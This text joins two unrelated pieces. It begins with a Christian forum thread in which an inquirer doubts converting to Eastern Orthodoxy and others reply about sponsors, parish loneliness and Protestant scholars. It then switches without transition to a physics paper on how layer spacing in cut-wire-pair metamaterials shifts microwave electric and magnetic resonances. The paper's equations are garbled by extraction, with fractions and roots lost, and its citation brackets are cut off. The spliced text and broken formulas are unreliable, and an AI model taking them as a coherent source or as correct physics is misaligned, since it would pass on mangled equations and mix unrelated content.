Honestly, I think you're the only person participating in this thread who intimately understands what I'm currently experiencing. Perhaps that's for no other reason than you, too, have not yet fully committed yourself to Orthodoxy, or maybe it's because you're capable of seeing the good and unity among Protestants.
Well, while I thank you, I would like to think that resigning my ministerial credential and leaving the church I went to for 20 years would show I was rather committed to Orthodoxy (unless you mean "the less than a Catechumen" part of my faith statement), so lets assume this is about seeing the good and unity among Protestants.
If so, that is true. I have said before my leaving Protestantism was less about leaving and more about coming, to Orthodoxy. I don't hate Protestantism and while I think there are some mistakes in how the Protestant churches view things, as previously noted, I also do see much sincerity in those Churches as well. I know a lot of these people. I've seen what some are trying to do, from the inside. I don't see it as all show. I know there are people in Protestantism who are sincerely trying to follow God with all their hearts. On this forum I have criticized Protestantism but I've also defended it. In this, however, let me say I'm not alone on the forum, there are many who have been here much longer than I who have done the same.
There is definitely a crisis, though. ... I don't think I'm so much worried about 'what if Protestantism is right' but rather 'what if Orthodoxy is wrong'.
Okay, so there is a confidence issue here, that's understandable. It seems to me that it's part and parcel of such a change. Having once been confident of something when we loose that and go to something else it's doubly hard to gain that confidence again, after all we were wrong before...
Realizing this, though, two things concern me: ... There was a time when I was thoroughly convinced that the RCC was the true, apostolic church. However, I also now realize that the reason why I believed this is because Orthodoxy was barely on my radar,...
For me too but not the RCC rather the Protestant church I was part of. I have spent much time as noted studying the EOC, but also some studying the RCC, the Oriental Orthodox church, the Assyrian Church of the East, splinters from these and even many of the Protestant cults. I can say with some confidence now that I don't think there's anything flying below my radar, but then we don't know, what we don't know, do we. I think at some point we just have to let go of the unknown and operate on faith, that God want us more than we want him and will guide us to truth if we seek it.
...this is where my second concern comes in: Convinced as I may be about the historical roots of EO and their connection to contemporary Orthodoxy...being an inquirer and having to go through the catechumenate process makes me feel alienated, homeless and in limbo. I feel like a shipwrecked sailor clutching a piece of driftwood hovering over the abyss. And it is for this reason that I'm grasping for any reason whatsoever not to become Orthodox.
So I think I hear you saying here that your tempted to reject Orthodoxy before it rejects you. Rather to truly argue those opposite positions to see them fail so they're not hanging over your head as things that might be, or simply as a very human defence mechanism I don't' know.
Either way your about as patient as I am I see. The one word that concerns me though is "alienated", don't know if there's much there or not but it makes me wonder if you feel welcome and at home with the people of your church. That is a boon, I feel lucky to have the people of our new church have definitely shown us love.
I wish you well my friend and pray God's mercy and grace be upon you.
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Psalm 37:23 The Lord guides a man safely in the way he should go.
Prov. 3: 5-6 Trust in the Lord with all your heart, lean not on your own understanding; in all your ways acknowledge Him, and He will direct your paths.
However this is where my second concern comes in: Convinced as I may be about the historical roots of EO and their connection to contemporary Orthodoxy, realizing that Orthodoxy is most likely the best soil to plant my roots, being an inquirer and having to go through the catechumenate process makes me feel alienated, homeless and in limbo. I feel like a shipwrecked sailor clutching a piece of driftwood hovering over the abyss. And it is for this reason that I'm grasping for any reason whatsoever not to become Orthodox.
Big Chris,
I have been following this thread and think I also know what you are going through. I left a denomination that considered itself as the only correct religion and all others as heretic and bound for perdition (they do not express this as much now). When I left and after looking into the other faiths I was bound and determined to never join another organized religion. I did not want to get burned again.
After a few years I found Orthodoxy. As a former Spiritual Father expressed to me; "Orthodoxy is Catholicism without additions and Protestantism without subtractions". There is truth in every faith but the orthodox church has the fullness of the faith handed down of the Apostles.
If you are comfortable with some one at you parish, ask them be you sponsor. Use them as your sounding board, they may even accompany you in you journey as a catechumen. You do not have to do this alone. I was lucky mine was my wife.
This is just my humble opinion and very simplistic but it worked for me.
If you are comfortable with some one at you parish, ask them be you sponsor. Use them as your sounding board, they may even accompany you in you journey as a catechumen. You do not have to do this alone. I was lucky mine was my wife.
The only person I currently feel comfortable talking to at my parish is my priest, yet I am reluctant to express any feelings of doubt to him because I fear that will only delay my ability to join the catechumenate and ultimately become Orthodox. I expressed some doubt to him once before and he was quick to nearly dismiss me. While I do understand the importance of being fully open with our spiritual fathers, I think much of what I'm currently experiencing will resolve itself in time. Within the span of this thread alone, I have flip-flopped many, many times. If I had burdened my priest with these thoughts, I think an inaccurate cariacture would have been formed.
When my fiance attended DL with me for the first time, everybody was very gracious to us. Since then, as I've attended by myself (because she has been unable to), I almost have to pull teeth to get some friendly interaction. Perhaps people have become more comfortable with my presence, but, even so, no relationships are being formed no matter how hard I try to engage conversation. The last DL I attended a couple of weeks ago, I was sitting during Matins to rest my lower back, and this woman walks again and stands right in front me, not even one foot away, like I wasn't even there even though the whole church was practically empty. In a couple more weeks, my fiance will start attending DL with me on a regular basis, and I bet you anything that suddenly these people will become interested again. Single men are strange, but couples are received warmly.
The only person I currently feel comfortable talking to at my parish is my priest, yet I am reluctant to express any feelings of doubt to him because I fear that will only delay my ability to join the catechumenate and ultimately become Orthodox
Given your wrestling, I'd slow it down and make sure its what you want, and what is comfortable for you. The LAST thing you want is to be a Catechumen and be Chrismated or baptised doubting all the way.
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I expressed some doubt to him once before and he was quick to nearly dismiss me
I think that is the wrong way to approach it. Casting you out does not help you grow spiritually. Seems to me that he just needs to spend more time addressing your concerns.
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While I do understand the importance of being fully open with our spiritual fathers, I think much of what I'm currently experiencing will resolve itself in time
Possibly, but time alone wont do it. Voicing your concerns and having them addressed will help give you peace about them.
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When my fiance attended DL with me for the first time, everybody was very gracious to us. Since then, as I've attended by myself (because she has been unable to), I almost have to pull teeth to get some friendly interaction. Perhaps people have become more comfortable with my presence, but, even so, no relationships are being formed no matter how hard I try to engage conversation. The last DL I attended a couple of weeks ago, I was sitting during Matins to rest my lower back, and this woman walks again and stands right in front me, not even one foot away, like I wasn't even there even though the whole church was practically empty. In a couple more weeks, my fiance will start attending DL with me on a regular basis, and I bet you anything that suddenly these people will become interested again. Single men are strange, but couples are received warmly
I personally think that this is more of a perception thing, but I'd definitely bring that to your priest's attention.
PP
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"I confidently affirm that whoever calls himself Universal Bishop is the precursor of Antichrist"Gregory the Great
"Never, never, never let anyone tell you that, in order to be Orthodox, you must also be eastern." St. John Maximovitch, The Wonderworker
Perhaps people have become more comfortable with my presence, but, even so, no relationships are being formed no matter how hard I try to engage conversation.
That could be the case I know in our Parish after someone has been there few times they become "a common sight". I fear that some try not to press this person, while others just dismiss the need to reach out. I know I have (to my sham) been one to not want to press the visitor. I would welcome the opportunity to be a supporter/guide if asked.
I just want to throw this out there, as well, but not necessarily in response to anyone in particular...
During Lent, a young couple in our parish lost their newborn infant only moments after it was born. My heart truly went out to them, and I prayed for them. As is typical, the Psalter was chanted during the all-night vigil. Being capable of chanting the Psalms myself, I wanted to share in their sorrow by helping to chant the Psalms but I'm not allowed to because I'm not Orthodox - and that just seems ridiculous to me. You need to have passed through the initiatory clubhouse rites before chanting the Psalter in a time of need?? The sign-up list of volunteers for the chanting was practically empty and I would have been glad to have chanted from 3 AM to 5 AM, but no - I am not allowed. So, it's almost like my non-christmation is standing in the way of forming any relationships.
I do not know if this correct or not but I was told that the chanter is an actual position in the church and therefore requires one to be of the body. I do not know if there is any special blessing or ritual needed to performed to become a chanter.
I have seen non-orthodox families being allowed to read from the Psalter in honor of their Orthodox family member, especially in convert parishes and small missions. I believe it is based upon the charism of the priest to determine if he will allow it for such a situation. Apparrently the parish priest either felt he could not or was encouraging members of the church family to step up and do their last duty to the child.
I can't help but think of all the intelligent men, more experienced in Church history than any of us here, who lived and died as Protestants - men like Bruce Metzger, Henry Chadwick, Dietrich Bonhoeffer, Francis Schaeffer, etc.. If it was good enough for them, why not me?
Whilst these are very smart men, I think that if you take a step back and question the Protestant paradigm/ideology itself, you would find that it leaves a lot to be desired - particularly philosophically. Many Calvinists like the late Francis Schaeffer are very smart. But they operate within a system of thought that they have accepted from the start. To be an very good apologist for an ideology such as Calvinism says nothing about its goodness. I happen to believe that the philosophical foundations of Calvinism are so barren that you almost have to believe that God is something close to being simply wicked to accept it. But once you accept Calvinism, then yes, you kind make all sorts of clever arguments in support of it.
Those Protestants that know intuitively that there is something utterly wrong with the fundamentalists often end up being liberals who compromise on some of the most important doctrines or they leave the faith altogether. Think of Bart Ehrman. A fiercely intelligent man. He rejected Christianity because the foundations of the fundamentalist positions he once believed in are philosophically untenable. E.g. Inerrancy of Scripture (as formulated by fundamentalist Protestants) and so on. Being a textual scholar, he knew that the inerrancy position of fundamentalists is simply wrong. And he's right about that. Unfortunately, because he is a child of the Enlightenment, he can't think outside the sort of scholastic tradition that he is accustomed to. In other words, concepts that are central for Orthodox Christians ar like "mystery" are simply incomprehensible to people like Ehrman.
I would also add that in the history of Christendom, those who come from a high church tradition have been, by far, the most intellectually convincing. In modern times think of high church Anglicans such as CS Lewis and NT Wright. Roman Catholics such as Chesterton and Tolkien. Eastern Orthodox such Dostoevsky, Richard Swinburne and Pelikan. These intellectuals are not only great apologists for their respective denominations, but are very highly regarded across Christendom and by secularists also. The Protestant intellectuals you name above are really only big names in the evangelical sub culture in America. Men like Dostoevsky and Lewis are able to transcend sectarian boundaries. I think this is because there is truth in what they are saying. Intelligent people intuitively know that the god of modern evangelicalism is based on legal fictions (e.g. penal substitutionary atonement). Ontologically, Protestant fundamentalism is indefensible. It can not stand up to scrutiny beyond the boundaries of evangelical sub culture. That is why fundamentalist evangelicals have retreated from secular universities and have to set up their own institutions. They have simply lost the intellectual argument and are now fearful the outside world. |
Abstract
We studied both experimentally and theoretically the influence of the distance between adjacent cut-wire-pair layers on the magnetic and the electric resonances in the microwave-frequency regime. Besides the dependence on the separation between cut-wire pairs, along the electric-field direction, the electric resonance strongly depends on the distance between cut-wire-pair layers, while the magnetic resonance is almost unchanged. This contrast can be understood by the difference in the distribution of induced-charge density and in the direction of the induced current between the electric and magnetic resonances. A simple model is proposed to simulate our experimental results and the simulation results are in good agreement with the experiment. This result provides important information in obtaining left-handed behavior when the cut-wire pairs are combined with the continuous wire.
] demonstrated the existence of LHM consisting of an array of split-ring resonators (SRRs) and continuous wires for the first time. Following this seminal paper, numerous reports, both theoretical and experimental, confirmed the existence of LHMs and their main properties. In regular LHMs, to apply the uniform-effective-medium theory in determining the effective electric permittivity ε and magnetic permeability µ, the size of the unit cell must be much smaller than the wavelength [4
]. Therefore, the development of geometry and fabrication technique is still an area of significant effort, especially for LHMs operating at optical frequencies. The design and construction of magnetic and electric components play a central role, mainly a magnetic one. At present, the search for magnetic systems with an effectively negative µ up to the optical range remains an actual task. Besides SRRs, several different structures have been employed to provide a negative µ [6
In essence, the CWP is an SRR with two gaps flattened in the wire-pair arrangement. This structure also exhibits both magnetic and electric resonances as in the SRR structures. By tuning the magnetic and/or the electric resonances, it might be possible to obtain the LHM using only an array of CWPs. Although Dolling et al.[12
] have theoretically studied the dependence of two resonances on the separation of neighboring pairs along the E direction on the cut-wire pair sheet (intra-layer distance d). It was found that the low-frequency edge of electric-resonance strongly depends on the separation of neighboring pairs [also see Fig. 1(b)]. However, it is very difficult to overlap two resonances to obtain the LH behavior using only an array of CWPs.
Recent experiments have revealed that an efficient approach to achieve the LH behavior by employing the CWPs is to combine them with continuous wires [15
]. While the magnetic resonance frequency of CWP is of primary interest, the electric-resonance frequency also plays an important role when combined with the continuous wire. As is well known, the plasma frequency of the combined structure is much lower than that of the continuous wire alone [16
]. Thus, it is necessary to investigate the electric-resonance frequency of CWP and its contribution to the effective permittivity of the combined structure.
Fig. 1. (Color online) (a) Geometry of the cut-wire pair with the length of cut wire is l=5.5 mm and the width w=1.0 mm. t1 is the thickness of the PCB board and t2 that for the CU cut-wire. (b) Periods of cut-wire pairs.
In this work, we studied both experimentally and theoretically the influence of the distance between CWP layers (inter-layer distance az [also see Fig. 1(b)]) on the magnetic- and the electric-resonance frequencies. It was found that electric resonance strongly depends on the distance between layers, but the magnetic resonance is nearly unchanged. When the distance approaches a certain value, the magnetic resonance is degraded by the electric one or the two resonances kill each other.
2. Experiment
The geometrical structure of CWP is depicted in Fig. 1, similar to Refs. [11
]. The CWP structures were fabricated on both sides of the printed-copper board (PCB) with a copper thickness of 36 µm. The thickness of the dielectric PCB is 0.4 mm with a dielectric constant of 4.8. The period of CWP in the x-y plane is kept constant to be ax=3.5 mm and ay=7.0 mm. The length l and the width w of CWP are 5.5 and 1.0 mm, respectively. The periodicity along the z direction was obtained by stacking a number of identically patterned boards with the distance between CWP layers varied from 1.0 to 5.0 mm. We performed the transmission measurements in free space, using a Hewlett-Packard E8362B network analyzer connected to microwave standard-gain horn antennas.
3. Results and discussion
It is well known that the CWP structure exhibits both magnetic and electric resonances similar to the case of SRR structures. Figure 2 shows the measured transmission spectra of the CWP structures with different numbers of layers, where the distance between layers is 1.0 mm. Clearly, there are two band gaps in the transmission spectra, similar to that of Ref. [16
]. The two band gaps are separated by a certain amount of frequency. It is confirmed that the first band gap located at 13.4–14.4 GHz is due to the magnetic resonance, providing a negative magnetic permeability, and the second band gap starting at ~17 GHz is from the electric one, providing a negative electric permittivity. When the number of layers increases, the two resonances become more evident, but interestingly the separation between them is invariant. In this case, by combining the CWP with the continuous wire, it is better to obtain the LH behavior [15
Fig. 2. (Color online) Measured transmission spectra of the cut-wire-pair structure with different numbers of layers in the propagation direction, where the distance between layers is kept 1.0 mm.
Figure 3(a) shows the measured transmission spectra of various CWP structures with two layers, in which the period of CWP in the x-y plane is kept constant to be ax=3.5 mm and ay=7.0 mm, while in the z direction the distance between CWP layers varies from 1.0 to 5.0 mm. Clearly, the low-frequency edge of electric-resonance band is shifted to a lower frequency as the distance increases between CWP layers, but the magnetic-resonance frequency is practically unchanged. This indicates that the separation between the two resonances is reduced as the lattice constant az increases. One might argue that, if the distance between CWP layers increases, the coupling between layers is decreased and, consequently, the transmission in the region between two resonances is reduced in strength. Although this effect can explain the reduction of transmission between the two gaps, the observed red-shift of the low-frequency edge of electric resonance is not elucidated completely.
Very interesting results are obtained when az increases until it reaches 3.0 mm as the separation between two resonances is almost destroyed as shown in Fig. 3. This suggests two possible scenarios. Firstly, the electric and the magnetic resonances overlap in the frequency region between 14 and 15 GHz. If the two resonances overlap, it means that both ε and µ are negative; hence, there must be a transmission band in this frequency regime. However, if there is no transmission band found, this implies that the two resonances cannot overlap. The second scenario is where the two resonances might cancel each other. It is similar to that in Ref. [10
], where Zhou et al. studied the dependence of the separation between the intra-layer CWPs along the E direction. This effect will degrade or even destroy the LH behavior when the CWP is combined with the continuous wire. The dependence of the electric resonance on the distance between layers is also examined for a CWP structure with three layers as shown in Fig. 3(b). The observed result is consistent with that of the two-layer CWP structure.
Fig. 3. (Color online) Measured transmission spectra of various cut-wire-pair structures; (a) two and (b) three layers. The period of cut-wire pair in the x-y plane is kept constant to be ax=3.5 mm and ay=7.0 mm; while the distance between layers is varied from 1.0 to 4.0 mm.
One possible explanation on the observed result is that the shift of the low-frequency edge of electric-resonance band might be due to the influence of misalignment between the CWP boards along the propagation direction. This misalignment is achieved by shifting the CWP boards along the H direction with a deviation δ of 0.5 mm as shown in Fig. 4(a). To examine the potential effect of the misalignment between layers on the shift of the low-frequency edge of electric resonance, the transmission spectra of the misaligned CWP boards were measured and displayed in Fig. 4(b). For this study, the distance between layers is kept at 1.0 mm and δ=0.5 mm (half the width of cut-wire). Clearly, the band gaps between the magnetic and the electric resonances are nearly unchanged. This means that the electric resonance of CWP is not influenced by misalignment between CWP boards. Aydin et al. [19
] also investigated the effect of misalignment in the SRR structures on the magnetic and the electric resonances. Thus, these results strongly suggest that the shift of the low-frequency edge of electric resonance observed in Fig. 3 is not caused by the misalignment of the CWP boards. Gay-Balmaz and Martin [20
] also theoretically studied this fact for the SRR structure and pointed out that the inter-layer separation plays a more important role enhancing the coupling between SRRs than the misalignment of boards.
The influence of the distance between CWP layers on the resonances was also theoretically studied. In our theoretical study, we employed a similar model proposed by Zhou et al. [10
]. In the present paper, however, the model is realistically elaborated. We assume that the electric field of the incident radiation is along the length of a rectangular metallic stripe with length l, width w and thickness tf, and the x-, the y- and the z-axis are in the direction of the width, the length, and the thickness, respectively, of the rectangular metallic stripe. Therefore, E=Eoŷ, where Eo is the amplitude of applied electric field by the incident electromagnetic wave. Since the charge density varies along the y-direction, the charge density ρ=ρ(y) and the current density are given by
where σ is the electrical conductivity of the metallic stripe and α is a proportionality constant, which will be determined later. The first term in the rightmost side corresponds to the ordinary current density arising from the applied field and the second term is the current density driven by the gradient of induced charge density. By applying the continuity condition we can obtain
∇·J+∂ρ∂t=∂J∂y+∂ρ∂t=−αd2ρdy2+∂ρ∂t=0.
(2)
Assuming that
∂ρ∂t=−ωρ
, where ω is the angular frequency of the incident wave. The differential equation, which determines the charge density, is
d2ρdy2+ωαρ=0.
(3)
From now on, the time dependence of the field and current can be ignored without loss of the generality. Since the charge density is antisymmetric about the center of the metallic stripe along the y-axis, the charge density can be written as
ρ=ρosin(ωαy)
(4)
and the current density
J=σEoŷ−αρoωαcos(ωαy)ŷ,
(5)
where ŷ is the unit vector along y-axis. Since the charge distribution and the current density are entirely confined inside the metallic stripe, multiplying r by the continuity equation [Eq. (2)] and integrating over the volume of the metallic stripe, we can get the following expression:
∫r[∇·J+∂ρ∂t]d3r=∫Jd3r+∂p∂t=0,
(6)
where p≡∫rρd3r is the dipole moment of the charge distribution. After some calculations, we obtain
ρ=ρosin(πly),
(7)
and
J=4αρol[1−π4cos(πly)]ŷ.
(8)
From these sources we can calculated the electric and the magnetic fields produced by 21×21 CWPs by directly applying Coulomb’s law and Biot-Savart’s law, respectively. Since these fields are periodic along the x and the y direction and the electric and the magnetic energies are symmetric about the origin, we calculate the fields only in the first quadrant confined by ax×ay and 0≤z≤25 cm. The effective capacitance Ceff and inductance Leff are obtained from the following relations,
UE=12∫εE2dv=Q22Ceff
(9)
and
UB=12∫B2μdv=12LeffI2.
(10)
The above electric and magnetic energies were obtained for the electric and the magnetic resonances separately by assuming that the currents of the cut-wire pair flow in the same and opposite directions, respectively. Finally, the electric and magnetic resonance frequencies are
ωe=1Le,effCe,eff
(11)
and
ωm=1Lm,effCm,eff,
(12)
respectively.
The calculational results are displayed in Fig. 5. The magnetic resonance frequency does not change appreciably with the distance between cut-wire-pair layers (az), while the electric one changes significantly. As az approaches 4 mm, the electric resonance frequency keeps decreasing and reaches the magnetic resonance frequency. Then the electric-resonance frequency increases further with increasing az. These calculational results successfully reproduce the experimental results.
The reason for the variance of ωe and the invariance of ωm with az can be understood by the difference in the distribution of induced charge density and in the direction of the induced current between electric and magnetic resonances. For the magnetic resonance the induced charge distribution on a metallic stripe is opposite of that on the counter metallic stripe in the same CWP. Hence, the electric field is mostly confined in the region between the two metallic stripes and thus the effective capacitance is determined by the CWP itself. The magnetic fields are also mostly concentrated in the region between two metallic stripes in CWP. Therefore, both the electric and magnetic energies do not vary with az, resulting in a constant magnetic resonance frequency independent of az. Our calculational results confirm this argument. For the electric resonance, on the other hand, the induced-charge distribution does not produce a significant electric field in the region between the two metallic stripes and thus the effective capacitance is determined by the two adjacent metallic stripes in different CWPs. The magnetic fields are also mostly concentrated in the region between PCBs. Therefore, both electric and magnetic energies vary with az, resulting in a strong dependence of the low-frequency edge of electric resonance on az.
Fig. 5. Calculated electric and magnetic resonance frequencies as a function of the distance between cut-wire-pair layers for 3-layer structure. The solid lines are guide to the eyes only.
4. Conclusions
The influence of the distance between CWP layers on the electric and the magnetic resonances was investigated both experimentally and theoretically in the microwave-frequency regime. Good agreement between the theory and the experimentwas obtained. It was found that the low-frequency edge of electric resonance strongly depends on the distance between layers, while the magnetic one is practically invariant. The difference can be understood by the difference in the distribution of the induced-charge density and the direction of the induced current between the electric and magnetic resonances. The magnetic resonance is degraded by the electric one or even two resonances might cancel each other with an increase in the distance between layers until it reaches 3.0 mm. This is of fundamental importance in understanding the electromagnetic response of the CWP at low frequencies and supports for the design on the LHMs working at high-frequency region. Furthermore, one has to avoid the crossing region where two resonances cancel each other or two resonances are too close. This effect will degrade or even destroy LH behavior when the cut-wire pairs are combined with the continuous wires.
Acknowledgments
This work was supported by the KOSEF Grant funded by the Korean Goverment (MEST) through the Quantum Photonic Science Research Center, Seoul, Korea. This work was also supported byKorea Research Foundation Grant funded by the Korean Government (MOEHRD) (KRF-2005-005-J11903).
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